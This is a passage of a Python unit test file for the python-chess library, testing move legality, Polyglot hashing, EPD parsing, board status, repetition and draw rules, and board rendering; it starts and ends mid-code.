illegal_variation = ['d3h7', 'g8h7', 'f3h6', 'h7g8'] board = chess.Board(fen) with self.assertRaises(chess.IllegalMoveError) as err: board.variation_san([chess.Move.from_uci(m) for m in illegal_variation]) message = str(err.exception) self.assertIn('illegal move', message.lower(), msg=f"Error [{message}] mentions illegal move") self.assertIn('f3h6', message, msg=f"Illegal move f3h6 appears in message [{message}]") def test_move_stack_usage(self): board = chess.Board() board.push_uci("d2d4") board.push_uci("d7d5") board.push_uci("g1f3") board.push_uci("c8f5") board.push_uci("e2e3") board.push_uci("e7e6") board.push_uci("f1d3") board.push_uci("f8d6") board.push_uci("e1h1") san = chess.Board().variation_san(board.move_stack) self.assertEqual(san, "1. d4 d5 2. Nf3 Bf5 3. e3 e6 4. Bd3 Bd6 5. O-O") def test_is_legal_move(self): fen = "3k4/6P1/7P/8/K7/8/8/4R3 w - - 0 1" board = chess.Board(fen) # Legal moves: Rg1, g8=R+. self.assertIn(chess.Move.from_uci("e1g1"), board.legal_moves) self.assertIn(chess.Move.from_uci("g7g8r"), board.legal_moves) # Impossible promotion: Kb5, h7. self.assertNotIn(chess.Move.from_uci("a5b5q"), board.legal_moves) self.assertNotIn(chess.Move.from_uci("h6h7n"), board.legal_moves) # Missing promotion. self.assertNotIn(chess.Move.from_uci("g7g8"), board.legal_moves) # Promote to pawn or king. self.assertFalse(board.is_legal(chess.Move.from_uci("g7g8p"))) self.assertFalse(board.is_pseudo_legal(chess.Move.from_uci("g7g8p"))) self.assertFalse(board.is_legal(chess.Move.from_uci("g7g8k"))) self.assertFalse(board.is_pseudo_legal(chess.Move.from_uci("g7g8k"))) self.assertEqual(board.fen(), fen) def test_move_count(self): board = chess.Board("1N2k3/P7/8/8/3n4/8/2PP4/R3K2R w KQ - 0 1") self.assertEqual(board.pseudo_legal_moves.count(), 8 + 4 + 3 + 2 + 1 + 6 + 9) def test_polyglot(self): # Test Polyglot compatibility using test data from # http://hardy.uhasselt.be/Toga/book_format.html. Forfeiting castling # rights should not reset the half-move counter, though. board = chess.Board() self.assertEqual(board.fen(), "rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR w KQkq - 0 1") self.assertEqual(chess.polyglot.zobrist_hash(board), 0x463b96181691fc9c) board.push_san("e4") self.assertEqual(board.fen(), "rnbqkbnr/pppppppp/8/8/4P3/8/PPPP1PPP/RNBQKBNR b KQkq - 0 1") self.assertEqual(chess.polyglot.zobrist_hash(board), 0x823c9b50fd114196) board.push_san("d5") self.assertEqual(board.fen(), "rnbqkbnr/ppp1pppp/8/3p4/4P3/8/PPPP1PPP/RNBQKBNR w KQkq - 0 2") self.assertEqual(chess.polyglot.zobrist_hash(board), 0x0756b94461c50fb0) board.push_san("e5") self.assertEqual(board.fen(), "rnbqkbnr/ppp1pppp/8/3pP3/8/8/PPPP1PPP/RNBQKBNR b KQkq - 0 2") self.assertEqual(chess.polyglot.zobrist_hash(board), 0x662fafb965db29d4) board.push_san("f5") self.assertEqual(board.fen(), "rnbqkbnr/ppp1p1pp/8/3pPp2/8/8/PPPP1PPP/RNBQKBNR w KQkq f6 0 3") self.assertEqual(chess.polyglot.zobrist_hash(board), 0x22a48b5a8e47ff78) board.push_san("Ke2") self.assertEqual(board.fen(), "rnbqkbnr/ppp1p1pp/8/3pPp2/8/8/PPPPKPPP/RNBQ1BNR b kq - 1 3") self.assertEqual(chess.polyglot.zobrist_hash(board), 0x652a607ca3f242c1) board.push_san("Kf7") self.assertEqual(board.fen(), "rnbq1bnr/ppp1pkpp/8/3pPp2/8/8/PPPPKPPP/RNBQ1BNR w - - 2 4") self.assertEqual(chess.polyglot.zobrist_hash(board), 0x00fdd303c946bdd9) board = chess.Board() board.push_san("a4") board.push_san("b5") board.push_san("h4") board.push_san("b4") board.push_san("c4") self.assertEqual(board.fen(), "rnbqkbnr/p1pppppp/8/8/PpP4P/8/1P1PPPP1/RNBQKBNR b KQkq c3 0 3") self.assertEqual(chess.polyglot.zobrist_hash(board), 0x3c8123ea7b067637) board.push_san("bxc3") board.push_san("Ra3") self.assertEqual(board.fen(), "rnbqkbnr/p1pppppp/8/8/P6P/R1p5/1P1PPPP1/1NBQKBNR b Kkq - 1 4") self.assertEqual(chess.polyglot.zobrist_hash(board), 0x5c3f9b829b279560) def test_castling_move_generation_bug(self): # Specific test position right after castling. fen = "rnbqkbnr/2pp1ppp/8/4p3/2BPP3/P1N2N2/PB3PPP/2RQ1RK1 b kq - 1 10" board = chess.Board(fen) illegal_move = chess.Move.from_uci("g1g2") self.assertNotIn(illegal_move, board.legal_moves) self.assertNotIn(illegal_move, list(board.legal_moves)) self.assertNotIn(illegal_move, board.pseudo_legal_moves) self.assertNotIn(illegal_move, list(board.pseudo_legal_moves)) # Make a move. board.push_san("exd4") # Already castled short, can not castle long. illegal_move = chess.Move.from_uci("e1c1") self.assertNotIn(illegal_move, board.pseudo_legal_moves) self.assertNotIn(illegal_move, board.generate_pseudo_legal_moves()) self.assertNotIn(illegal_move, board.legal_moves) self.assertNotIn(illegal_move, list(board.legal_moves)) # Unmake the move. board.pop() # Generate all pseudo-legal moves, two moves deep. for move in board.pseudo_legal_moves: board.push(move) for move in board.pseudo_legal_moves: board.push(move) board.pop() board.pop() # Check that board is still consistent. self.assertEqual(board.fen(), fen) self.assertTrue(board.kings & chess.BB_G1) self.assertTrue(board.occupied & chess.BB_G1) self.assertTrue(board.occupied_co[chess.WHITE] & chess.BB_G1) self.assertEqual(board.piece_at(chess.G1), chess.Piece(chess.KING, chess.WHITE)) self.assertEqual(board.piece_at(chess.C1), chess.Piece(chess.ROOK, chess.WHITE)) def test_move_generation_bug(self): # Specific problematic position. fen = "4kb1r/3b1ppp/8/1r2pNB1/6P1/pP2QP2/P6P/4R1K1 w k - 0 27" board = chess.Board(fen) # Make a move. board.push_san("Re2") # Check for the illegal move. illegal_move = chess.Move.from_uci("e8f8") self.assertNotIn(illegal_move, board.pseudo_legal_moves) self.assertNotIn(illegal_move, board.generate_pseudo_legal_moves()) self.assertNotIn(illegal_move, board.legal_moves) self.assertNotIn(illegal_move, board.generate_legal_moves()) # Generate all pseudo-legal moves. for a in board.pseudo_legal_moves: board.push(a) board.pop() # Unmake the move. board.pop() # Check that board is still consistent. self.assertEqual(board.fen(), fen) def test_stateful_move_generation_bug(self): board = chess.Board("r1b1k3/p2p1Nr1/n2b3p/3pp1pP/2BB1p2/P3P2R/Q1P3P1/R3K1N1 b Qq - 0 1") count = 0 for move in board.legal_moves: board.push(move) list(board.generate_legal_moves()) count += 1 board.pop() self.assertEqual(count, 26) def test_ninesixty_castling_bug(self): board = chess.Board("4r3/3k4/8/8/8/8/q5PP/1R1KR3 w Q - 2 2", chess960=True) move = chess.Move.from_uci("d1b1") self.assertTrue(board.is_castling(move)) self.assertIn(move, board.generate_pseudo_legal_moves()) self.assertTrue(board.is_pseudo_legal(move)) self.assertIn(move, board.generate_legal_moves()) self.assertTrue(board.is_legal(move)) self.assertEqual(board.parse_san("O-O-O+"), move) self.assertEqual(board.san(move), "O-O-O+") def test_equality(self): self.assertEqual(chess.Board(), chess.Board()) self.assertFalse(chess.Board() != chess.Board()) a = chess.Board() a.push_san("d4") b = chess.Board() b.push_san("d3") self.assertNotEqual(a, b) self.assertFalse(a == b) def test_status(self): board = chess.Board() self.assertEqual(board.status(), chess.STATUS_VALID) self.assertTrue(board.is_valid()) board.remove_piece_at(chess.H1) self.assertTrue(board.status() & chess.STATUS_BAD_CASTLING_RIGHTS) board.remove_piece_at(chess.E8) self.assertTrue(board.status() & chess.STATUS_NO_BLACK_KING) # The en passant square should be set even if no capture is actually # possible. board = chess.Board() board.push_san("e4") self.assertEqual(board.ep_square, chess.E3) self.assertEqual(board.status(), chess.STATUS_VALID) # But there must indeed be a pawn there. board.remove_piece_at(chess.E4) self.assertEqual(board.status(), chess.STATUS_INVALID_EP_SQUARE) # King must be between the two rooks. board = chess.Board("2rrk3/8/8/8/8/8/3PPPPP/2RK4 w cd - 0 1") self.assertEqual(board.status(), chess.STATUS_BAD_CASTLING_RIGHTS) # Generally valid position, but not valid standard chess position due # to non-standard castling rights. Chess960 start position #0. board = chess.Board("bbqnnrkr/pppppppp/8/8/8/8/PPPPPPPP/BBQNNRKR w KQkq - 0 1", chess960=True) self.assertEqual(board.status(), chess.STATUS_VALID) board = chess.Board("bbqnnrkr/pppppppp/8/8/8/8/PPPPPPPP/BBQNNRKR w KQkq - 0 1", chess960=False) self.assertEqual(board.status(), chess.STATUS_BAD_CASTLING_RIGHTS) # Opposite check. board = chess.Board("4k3/8/8/8/8/8/4Q3/4K3 w - - 0 1") self.assertEqual(board.status(), chess.STATUS_OPPOSITE_CHECK) # Empty board. board = chess.Board(None) self.assertEqual(board.status(), chess.STATUS_EMPTY | chess.STATUS_NO_WHITE_KING | chess.STATUS_NO_BLACK_KING) # Too many kings. board = chess.Board("rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBKKBNR w KQkq - 0 1") self.assertEqual(board.status(), chess.STATUS_TOO_MANY_KINGS) # Triple check. board = chess.Board("4k3/5P2/3N4/8/8/8/4R3/4K3 b - - 0 1") self.assertEqual(board.status(), chess.STATUS_TOO_MANY_CHECKERS | chess.STATUS_IMPOSSIBLE_CHECK) # Impossible checker alignment. board = chess.Board("3R4/8/q4k2/2B5/1NK5/3b4/8/8 w - - 0 1") self.assertEqual(board.status(), chess.STATUS_IMPOSSIBLE_CHECK) board = chess.Board("2Nq4/2K5/1b6/8/7R/3k4/7P/8 w - - 0 1") self.assertEqual(board.status(), chess.STATUS_IMPOSSIBLE_CHECK) board = chess.Board("5R2/2P5/8/4k3/8/3rK2r/8/8 w - - 0 1") self.assertEqual(board.status(), chess.STATUS_IMPOSSIBLE_CHECK) board = chess.Board("8/8/8/1k6/3Pp3/8/8/4KQ2 b - d3 0 1") self.assertEqual(board.status(), chess.STATUS_IMPOSSIBLE_CHECK) # Checkers aligned with opponent king are fine. board = chess.Board("8/8/5k2/p1q5/PP1rp1P1/3P1N2/2RK1r2/5nN1 w - - 0 3") self.assertEqual(board.status(), chess.STATUS_VALID) def test_one_king_movegen(self): board = chess.Board.empty() board.set_piece_at(chess.A1, chess.Piece(chess.KING, chess.WHITE)) self.assertFalse(board.is_valid()) self.assertEqual(board.legal_moves.count(), 3) self.assertEqual(board.pseudo_legal_moves.count(), 3) board.push_san("Kb1") self.assertEqual(board.legal_moves.count(), 0) self.assertEqual(board.pseudo_legal_moves.count(), 0) board.push_san("--") self.assertEqual(board.legal_moves.count(), 5) self.assertEqual(board.pseudo_legal_moves.count(), 5) def test_epd(self): # Create an EPD with a move and a string. board = chess.Board("1k1r4/pp1b1R2/3q2pp/4p3/2B5/4Q3/PPP2B2/2K5 b - - 0 1") epd = board.epd(bm=chess.Move(chess.D6, chess.D1), id="BK.01") self.assertIn(epd, [ "1k1r4/pp1b1R2/3q2pp/4p3/2B5/4Q3/PPP2B2/2K5 b - - bm Qd1+; id \"BK.01\";", "1k1r4/pp1b1R2/3q2pp/4p3/2B5/4Q3/PPP2B2/2K5 b - - id \"BK.01\"; bm Qd1+;"]) # Create an EPD with a noop. board = chess.Board("4k3/8/8/8/8/8/8/4K3 w - - 0 1") self.assertEqual(board.epd(noop=None), "4k3/8/8/8/8/8/8/4K3 w - - noop;") # Create an EPD with numbers. self.assertEqual(board.epd(pi=3.14), "4k3/8/8/8/8/8/8/4K3 w - - pi 3.14;") # Create an EPD with a variation. board = chess.Board("k7/8/8/8/8/8/4PPPP/4K1NR w K - 0 1") epd = board.epd(pv=[ chess.Move.from_uci("g1f3"), # Nf3 chess.Move.from_uci("a8a7"), # Ka7 chess.Move.from_uci("e1h1"), # O-O ]) self.assertEqual(epd, "k7/8/8/8/8/8/4PPPP/4K1NR w K - pv Nf3 Ka7 O-O;") # Create an EPD with a set of moves. board = chess.Board("8/8/8/4k3/8/1K6/8/8 b - - 0 1") epd = board.epd(bm=[ chess.Move.from_uci("e5e6"), # Ke6 chess.Move.from_uci("e5e4"), # Ke4 ]) self.assertEqual(epd, "8/8/8/4k3/8/1K6/8/8 b - - bm Ke4 Ke6;") # Test loading an EPD. board = chess.Board() operations = board.set_epd("r2qnrnk/p2b2b1/1p1p2pp/2pPpp2/1PP1P3/PRNBB3/3QNPPP/5RK1 w - - bm f4; id \"BK.24\";") self.assertEqual(board.fen(), "r2qnrnk/p2b2b1/1p1p2pp/2pPpp2/1PP1P3/PRNBB3/3QNPPP/5RK1 w - - 0 1") self.assertIn(chess.Move(chess.F2, chess.F4), operations["bm"]) self.assertEqual(operations["id"], "BK.24") # Test loading an EPD with half-move counter operations. board = chess.Board() operations = board.set_epd("4k3/8/8/8/8/8/8/4K3 b - - fmvn 17; hmvc 13") self.assertEqual(board.fen(), "4k3/8/8/8/8/8/8/4K3 b - - 13 17") self.assertEqual(operations["fmvn"], 17) self.assertEqual(operations["hmvc"], 13) # Test context of parsed SANs. board = chess.Board() operations = board.set_epd("4k3/8/8/2N5/8/8/8/4K3 w - - test Ne4") self.assertEqual(operations["test"], chess.Move(chess.C5, chess.E4)) # Test parsing EPD with a set of moves. board = chess.Board() operations = board.set_epd("4k3/8/3QK3/8/8/8/8/8 w - - bm Qe7# Qb8#;") self.assertEqual(board.fen(), "4k3/8/3QK3/8/8/8/8/8 w - - 0 1") self.assertEqual(len(operations["bm"]), 2) self.assertIn(chess.Move.from_uci("d6b8"), operations["bm"]) self.assertIn(chess.Move.from_uci("d6e7"), operations["bm"]) # Test parsing EPD with a stack of moves. board = chess.Board() operations = board.set_epd("6k1/1p6/6K1/8/8/8/8/7Q w - - pv Qh7+ Kf8 Qf7#;") self.assertEqual(len(operations["pv"]), 3) self.assertEqual(operations["pv"][0], chess.Move.from_uci("h1h7")) self.assertEqual(operations["pv"][1], chess.Move.from_uci("g8f8")) self.assertEqual(operations["pv"][2], chess.Move.from_uci("h7f7")) # Test EPD with semicolon. board = chess.Board() operations = board.set_epd("r2qk2r/ppp1b1pp/2n1p3/3pP1n1/3P2b1/2PB1NN1/PP4PP/R1BQK2R w KQkq - bm Nxg5; c0 \"ERET.095; Queen sacrifice\";") self.assertEqual(operations["bm"], [chess.Move.from_uci("f3g5")]) self.assertEqual(operations["c0"], "ERET.095; Queen sacrifice") # Test EPD with string escaping. board = chess.Board() operations = board.set_epd(r"""4k3/8/8/8/8/8/8/4K3 w - - a "foo\"bar";; ; b "foo\\\\";""") self.assertEqual(operations["a"], "foo\"bar") self.assertEqual(operations["b"], "foo\\\\") # Test EPD with unmatched trailing quotes. board = chess.Board() operations = board.set_epd("1k1r4/pp1b1R2/3q2pp/4p3/2B5/4Q3/PPP2B2/2K5 b - - bm Qd1+; id \"") self.assertEqual(operations["bm"], [chess.Move.from_uci("d6d1")]) self.assertEqual(operations["id"], "") self.assertEqual(board.epd(**operations), "1k1r4/pp1b1R2/3q2pp/4p3/2B5/4Q3/PPP2B2/2K5 b - - bm Qd1+; id \"\";") def test_eret_epd(self): # Too many dashes. epd = """r1bqk1r1/1p1p1n2/p1n2pN1/2p1b2Q/2P1Pp2/1PN5/PB4PP/R4RK1 w q - - bm Rxf4; id "ERET 001 - Entlastung";""" board, ops = chess.Board.from_epd(epd) self.assertEqual(ops["id"], "ERET 001 - Entlastung") self.assertEqual(ops["bm"], [chess.Move.from_uci("f1f4")]) def test_set_fen_as_epd(self): board = chess.Board() with self.assertRaises(ValueError): board.set_epd(board.fen()) # Move numbers are not valid opcodes def test_null_moves(self): self.assertEqual(str(chess.Move.null()), "0000") self.assertEqual(chess.Move.null().uci(), "0000") self.assertFalse(chess.Move.null()) fen = "rnbqkbnr/ppp1pppp/8/2Pp4/8/8/PP1PPPPP/RNBQKBNR w KQkq d6 0 2" board = chess.Board(fen) self.assertEqual(chess.Move.from_uci("0000"), board.push_san("--")) self.assertEqual(board.fen(), "rnbqkbnr/ppp1pppp/8/2Pp4/8/8/PP1PPPPP/RNBQKBNR b KQkq - 1 2") self.assertEqual(chess.Move.null(), board.pop()) self.assertEqual(board.fen(), fen) def test_attackers(self): board = chess.Board("r1b1k2r/pp1n1ppp/2p1p3/q5B1/1b1P4/P1n1PN2/1P1Q1PPP/2R1KB1R b Kkq - 3 10") attackers = board.attackers(chess.WHITE, chess.C3) self.assertEqual(len(attackers), 3) self.assertIn(chess.C1, attackers) self.assertIn(chess.D2, attackers) self.assertIn(chess.B2, attackers) self.assertNotIn(chess.D4, attackers) self.assertNotIn(chess.E1, attackers) def test_en_passant_attackers(self): board = chess.Board("4k3/8/8/8/4pPp1/8/8/4K3 b - f3 0 1") # Attacking the en passant square. attackers = board.attackers(chess.BLACK, chess.F3) self.assertEqual(len(attackers), 2) self.assertIn(chess.E4, attackers) self.assertIn(chess.G4, attackers) # Not attacking the pawn directly. attackers = board.attackers(chess.BLACK, chess.F4) self.assertEqual(attackers, chess.BB_EMPTY) def test_attacks(self): board = chess.Board("5rk1/p5pp/2p3p1/1p1pR3/3P2P1/2N5/PP3n2/2KB4 w - - 1 26") attacks = board.attacks(chess.E5) self.assertEqual(len(attacks), 11) self.assertIn(chess.D5, attacks) self.assertIn(chess.E1, attacks) self.assertIn(chess.F5, attacks) self.assertNotIn(chess.E5, attacks) self.assertNotIn(chess.C5, attacks) self.assertNotIn(chess.F4, attacks) pawn_attacks = board.attacks(chess.B2) self.assertIn(chess.A3, pawn_attacks) self.assertNotIn(chess.B3, pawn_attacks) self.assertFalse(board.attacks(chess.G1)) def test_clear(self): board = chess.Board() board.clear() self.assertEqual(board.turn, chess.WHITE) self.assertEqual(board.fullmove_number, 1) self.assertEqual(board.halfmove_clock, 0) self.assertEqual(board.castling_rights, chess.BB_EMPTY) self.assertFalse(board.ep_square) self.assertFalse(board.piece_at(chess.E1)) self.assertEqual(chess.popcount(board.occupied), 0) def test_threefold_repetition(self): board = chess.Board() # Go back and forth with the knights to reach the starting position # for a second time. self.assertFalse(board.can_claim_threefold_repetition()) self.assertFalse(board.is_repetition()) board.push_san("Nf3") self.assertFalse(board.can_claim_threefold_repetition()) self.assertFalse(board.is_repetition()) board.push_san("Nf6") self.assertFalse(board.can_claim_threefold_repetition()) self.assertFalse(board.is_repetition()) board.push_san("Ng1") self.assertFalse(board.can_claim_threefold_repetition()) self.assertFalse(board.is_repetition()) board.push_san("Ng8") # Once more. self.assertFalse(board.can_claim_threefold_repetition()) self.assertFalse(board.is_repetition()) board.push_san("Nf3") self.assertFalse(board.can_claim_threefold_repetition()) self.assertFalse(board.is_repetition()) board.push_san("Nf6") self.assertFalse(board.can_claim_threefold_repetition()) self.assertFalse(board.is_repetition()) board.push_san("Ng1") # Now black can go back to the starting position (thus reaching it a # third time). self.assertTrue(board.can_claim_threefold_repetition()) self.assertFalse(board.is_repetition()) board.push_san("Ng8") # They indeed do it. Also, white can now claim. self.assertTrue(board.can_claim_threefold_repetition()) self.assertTrue(board.is_repetition()) # But not after a different move. board.push_san("e4") self.assertFalse(board.can_claim_threefold_repetition()) self.assertFalse(board.is_repetition()) # Undo moves and check if everything works backwards. board.pop() # e4 self.assertTrue(board.can_claim_threefold_repetition()) board.pop() # Ng8 self.assertTrue(board.can_claim_threefold_repetition()) while board.move_stack: board.pop() self.assertFalse(board.can_claim_threefold_repetition()) def test_fivefold_repetition(self): fen = "rnbq1rk1/ppp3pp/3bpn2/3p1p2/2PP4/2NBPN2/PP3PPP/R1BQK2R w KQ - 3 7" board = chess.Board(fen) # Repeat the position up to the fourth time. for i in range(3): board.push_san("Be2") self.assertFalse(board.is_fivefold_repetition()) board.push_san("Ne4") self.assertFalse(board.is_fivefold_repetition()) board.push_san("Bd3") self.assertFalse(board.is_fivefold_repetition()) board.push_san("Nf6") self.assertEqual(board.fen().split()[0], fen.split()[0]) self.assertFalse(board.is_fivefold_repetition()) self.assertFalse(board.is_game_over()) # Repeat it once more. Now it is a fivefold repetition. board.push_san("Be2") self.assertFalse(board.is_fivefold_repetition()) board.push_san("Ne4") self.assertFalse(board.is_fivefold_repetition()) board.push_san("Bd3") self.assertFalse(board.is_fivefold_repetition()) board.push_san("Nf6") self.assertEqual(board.fen().split()[0], fen.split()[0]) self.assertTrue(board.is_fivefold_repetition()) self.assertTrue(board.is_game_over()) # It is also a threefold repetition. self.assertTrue(board.can_claim_threefold_repetition()) # Now no longer. board.push_san("Qc2") board.push_san("Qd7") self.assertFalse(board.can_claim_threefold_repetition()) self.assertFalse(board.is_fivefold_repetition()) board.push_san("Qd2") board.push_san("Qe7") self.assertFalse(board.can_claim_threefold_repetition()) self.assertFalse(board.is_fivefold_repetition()) # Give the possibility to repeat. board.push_san("Qd1") self.assertFalse(board.is_fivefold_repetition()) self.assertFalse(board.is_game_over()) self.assertTrue(board.can_claim_threefold_repetition()) self.assertTrue(board.is_game_over(claim_draw=True)) # Do, in fact, repeat. self.assertFalse(board.is_fivefold_repetition()) board.push_san("Qd8") # This is a threefold repetition, and also a fivefold repetition since # it no longer has to occur on consecutive moves. self.assertTrue(board.can_claim_threefold_repetition()) self.assertTrue(board.is_fivefold_repetition()) self.assertEqual(board.fen().split()[0], fen.split()[0]) def test_trivial_is_repetition(self): self.assertTrue(chess.Board().is_repetition(1)) def test_fifty_moves(self): # Test positions from Jan Timman vs. Christopher Lutz (1995). board = chess.Board() self.assertFalse(board.is_fifty_moves()) self.assertFalse(board.can_claim_fifty_moves()) board = chess.Board("8/5R2/8/r2KB3/6k1/8/8/8 w - - 19 79") self.assertFalse(board.is_fifty_moves()) self.assertFalse(board.can_claim_fifty_moves()) board = chess.Board("8/8/6r1/4B3/8/4K2k/5R2/8 b - - 68 103") self.assertFalse(board.is_fifty_moves()) self.assertFalse(board.can_claim_fifty_moves()) board = chess.Board("6R1/7k/8/8/1r3B2/5K2/8/8 w - - 99 119") self.assertFalse(board.is_fifty_moves()) self.assertTrue(board.can_claim_fifty_moves()) board = chess.Board("8/7k/8/6R1/1r3B2/5K2/8/8 b - - 100 119") self.assertTrue(board.is_fifty_moves()) self.assertTrue(board.can_claim_fifty_moves()) board = chess.Board("8/7k/8/1r3KR1/5B2/8/8/8 w - - 105 122") self.assertTrue(board.is_fifty_moves()) self.assertTrue(board.can_claim_fifty_moves()) # Once checkmated, it is too late to claim. board = chess.Board("k7/8/NKB5/8/8/8/8/8 b - - 105 176") self.assertFalse(board.is_fifty_moves()) self.assertFalse(board.can_claim_fifty_moves()) # A stalemate is a draw, but you can not and do not need to claim it by # the fifty-move rule. board = chess.Board("k7/3N4/1K6/1B6/8/8/8/8 b - - 99 1") self.assertTrue(board.is_stalemate()) self.assertTrue(board.is_game_over()) self.assertFalse(board.is_fifty_moves()) self.assertFalse(board.can_claim_fifty_moves()) self.assertFalse(board.can_claim_draw()) def test_promoted_comparison(self): board = chess.Board() board.set_fen("5R2/3P4/8/8/7r/7r/7k/K7 w - - 0 1") board.push_san("d8=R") same_board = chess.Board(board.fen()) self.assertEqual(board, same_board) def test_ep_legality(self): move = chess.Move.from_uci("h5g6") board = chess.Board("rnbqkbnr/pppppp2/7p/6pP/8/8/PPPPPPP1/RNBQKBNR w KQkq g6 0 3") self.assertTrue(board.is_legal(move)) board.push_san("Nf3") self.assertFalse(board.is_legal(move)) board.push_san("Nf6") self.assertFalse(board.is_legal(move)) move = chess.Move.from_uci("c4d3") board = chess.Board("rnbqkbnr/pp1ppppp/8/8/2pP4/2P2N2/PP2PPPP/RNBQKB1R b KQkq d3 0 3") self.assertTrue(board.is_legal(move)) board.push_san("Qc7") self.assertFalse(board.is_legal(move)) board.push_san("Bd2") self.assertFalse(board.is_legal(move)) def test_pseudo_legality(self): sample_moves = [ chess.Move(chess.A2, chess.A4), chess.Move(chess.C1, chess.E3), chess.Move(chess.G8, chess.F6), chess.Move(chess.D7, chess.D8, chess.QUEEN), chess.Move(chess.E5, chess.E4), ] sample_fens = [ chess.STARTING_FEN, "rnbqkbnr/pp1ppppp/2p5/8/6P1/2P5/PP1PPP1P/RNBQKBNR b KQkq - 0 1", "rnb1kbnr/ppq1pppp/2pp4/8/6P1/2P5/PP1PPPBP/RNBQK1NR w KQkq - 0 1", "rn2kbnr/p1q1ppp1/1ppp3p/8/4B1b1/2P4P/PPQPPP2/RNB1K1NR w KQkq - 0 1", "rnkq1bnr/p3ppp1/1ppp3p/3B4/6b1/2PQ3P/PP1PPP2/RNB1K1NR w KQ - 0 1", "rn1q1bnr/3kppp1/2pp3p/pp6/1P2b3/2PQ1N1P/P2PPPB1/RNB1K2R w KQ - 0 1", "rnkq1bnr/4pp2/2pQ2pp/pp6/1P5N/2P4P/P2PPP2/RNB1KB1b w Q - 0 1", "rn3b1r/1kq1p3/2pQ1npp/Pp6/4b3/2PPP2P/P4P2/RNB1KB2 w Q - 0 1", "r4br1/8/k1p2npp/Ppn1p3/P7/2PPP1qP/4bPQ1/RNB1KB2 w Q - 0 1", "rnbqk1nr/p2p3p/1p5b/2pPppp1/8/P7/1PPQPPPP/RNB1KBNR w KQkq c6 0 1", "rnb1k2r/pp1p1p1p/1q1P4/2pnpPp1/6P1/2N5/PP1BP2P/R2QKBNR w KQkq e6 0 1", "1n4kr/2B4p/2nb2b1/ppp5/P1PpP3/3P4/5K2/1N1R4 b - c3 0 1", "r2n3r/1bNk2pp/6P1/pP3p2/3pPqnP/1P1P1p1R/2P3B1/Q1B1bKN1 b - e3 0 1", ] for sample_fen in sample_fens: board = chess.Board(sample_fen) pseudo_legal_moves = list(board.generate_pseudo_legal_moves()) # Ensure that all moves generated as pseudo-legal pass the # pseudo-legality check. for move in pseudo_legal_moves: self.assertTrue(board.is_pseudo_legal(move)) # Check that moves not generated as pseudo-legal do not pass the # pseudo-legality check. for move in sample_moves: if move not in pseudo_legal_moves: self.assertFalse(board.is_pseudo_legal(move)) def test_pseudo_legal_castling_masks(self): board = chess.Board("r3k2r/8/8/8/8/8/8/R3K2R w KQkq - 0 1") kingside = chess.Move.from_uci("e1g1") queenside = chess.Move.from_uci("e1c1") moves = list(board.generate_pseudo_legal_moves()) self.assertIn(kingside, moves) self.assertIn(queenside, moves) moves = list(board.generate_pseudo_legal_moves(from_mask=chess.BB_RANK_2)) self.assertEqual(moves, []) moves = list(board.generate_pseudo_legal_moves(to_mask=chess.BB_A1)) self.assertNotIn(kingside, moves) self.assertIn(queenside, moves) def test_pieces(self): board = chess.Board() king = board.pieces(chess.KING, chess.WHITE) self.assertIn(chess.E1, king) self.assertEqual(len(king), 1) def test_string_conversion(self): board = chess.Board("7k/1p1qn1b1/pB1p1n2/3Pp3/4Pp1p/2QN1B2/PP4PP/6K1 w - - 0 28") self.assertEqual(str(board), textwrap.dedent("""\ . . . . . . . k . p . q n . b . p B . p . n . . . . . P p . . . . . . . P p . p . . Q N . B . . P P . . . . P P . . . . . . K .""")) self.assertEqual(board.unicode(empty_square="·"), textwrap.dedent("""\ · · · · · · · ♚ · ♟ · ♛ ♞ · ♝ · ♟ ♗ · ♟ · ♞ · · · · · ♙ ♟ · · · · · · · ♙ ♟ · ♟ · · ♕ ♘ · ♗ · · ♙ ♙ · · · · ♙ ♙ · · · · · · ♔ ·""")) self.assertEqual(board.unicode(invert_color=True, borders=True, empty_square="·"), textwrap.dedent("""\ ----------------- 8 |·|·|·|·|·|·|·|♔| ----------------- 7 |·|♙|·|♕|♘|·|♗|·| ----------------- 6 |♙|♝|·|♙|·|♘|·|·| ----------------- 5 |·|·|·|♟|♙|·|·|·| ----------------- 4 |·|·|·|·|♟|♙|·|♙| ----------------- 3 |·|·|♛|♞|·|♝|·|·| ----------------- 2 |♟|♟|·|·|·|·|♟|♟| ----------------- 1 |·|·|·|·|·|·|♚|·| ----------------- a b c d e f g h""")) def test_move_info(self): board = chess.Board("r1bqkb1r/p3np2/2n1p2p/1p4pP/2pP4/4PQ1N/1P2BPP1/RNB1K2R w KQkq g6 0 11") self.assertTrue(board.is_capture(board.parse_xboard("Qxf7+"))) self.assertFalse(board.is_en_passant(board.parse_xboard("Qxf7+"))) self.assertFalse(board.is_castling(board.parse_xboard("Qxf7+"))) self.assertTrue(board.is_capture(board.parse_xboard("hxg6"))) self.assertTrue(board.is_en_passant(board.parse_xboard("hxg6"))) self.assertFalse(board.is_castling(board.parse_xboard("hxg6"))) self.assertFalse(board.is_capture(board.parse_xboard("b3"))) self.assertFalse(board.is_en_passant(board.parse_xboard("b3"))) self.assertFalse(board.is_castling(board.parse_xboard("b3"))) self.assertFalse(board.is_capture(board.parse_xboard("Ra6"))) self.assertFalse(board.is_en_passant(board.parse_xboard("Ra6"))) self.assertFalse(board.is_castling(board.parse_xboard("Ra6"))) self.assertFalse(board.is_capture(board.parse_xboard("O-O"))) self.assertFalse(board.is_en_passant(board.parse_xboard("O-O"))) self.assertTrue(board.is_castling(board.parse_xboard("O-O"))) def test_pin(self): board = chess.Board("rnb1k1nr/2pppppp/3P4/8/1b5q/8/PPPNPBPP/RNBQKB1R w KQkq - 0 1") self.assertTrue(board.is_pinned(chess.WHITE, chess.F2)) self.assertTrue(board.is_pinned(chess.WHITE, chess.D2)) self.assertFalse(board.is_pinned(chess.WHITE, chess.E1)) self.assertFalse(board.is_pinned(chess.BLACK, chess.H4)) self.assertFalse(board.is_pinned(chess.BLACK, chess.E8)) self.assertEqual(board.pin(chess.WHITE, chess.B1), chess.BB_ALL) self.assertEqual(board.pin(chess.WHITE, chess.F2), chess.BB_E1 | chess.BB_F2 | chess.BB_G3 | chess.BB_H4) self.assertEqual(board.pin(chess.WHITE, chess.D2), chess.BB_E1 | chess.BB_D2 | chess.BB_C3 | chess.BB_B4 | chess.BB_A5) self.assertEqual(chess.Board(None).pin(chess.WHITE, chess.F7), chess.BB_ALL) def test_pin_in_check(self): # The knight on the eighth rank is on the outer side of the rank attack. board = 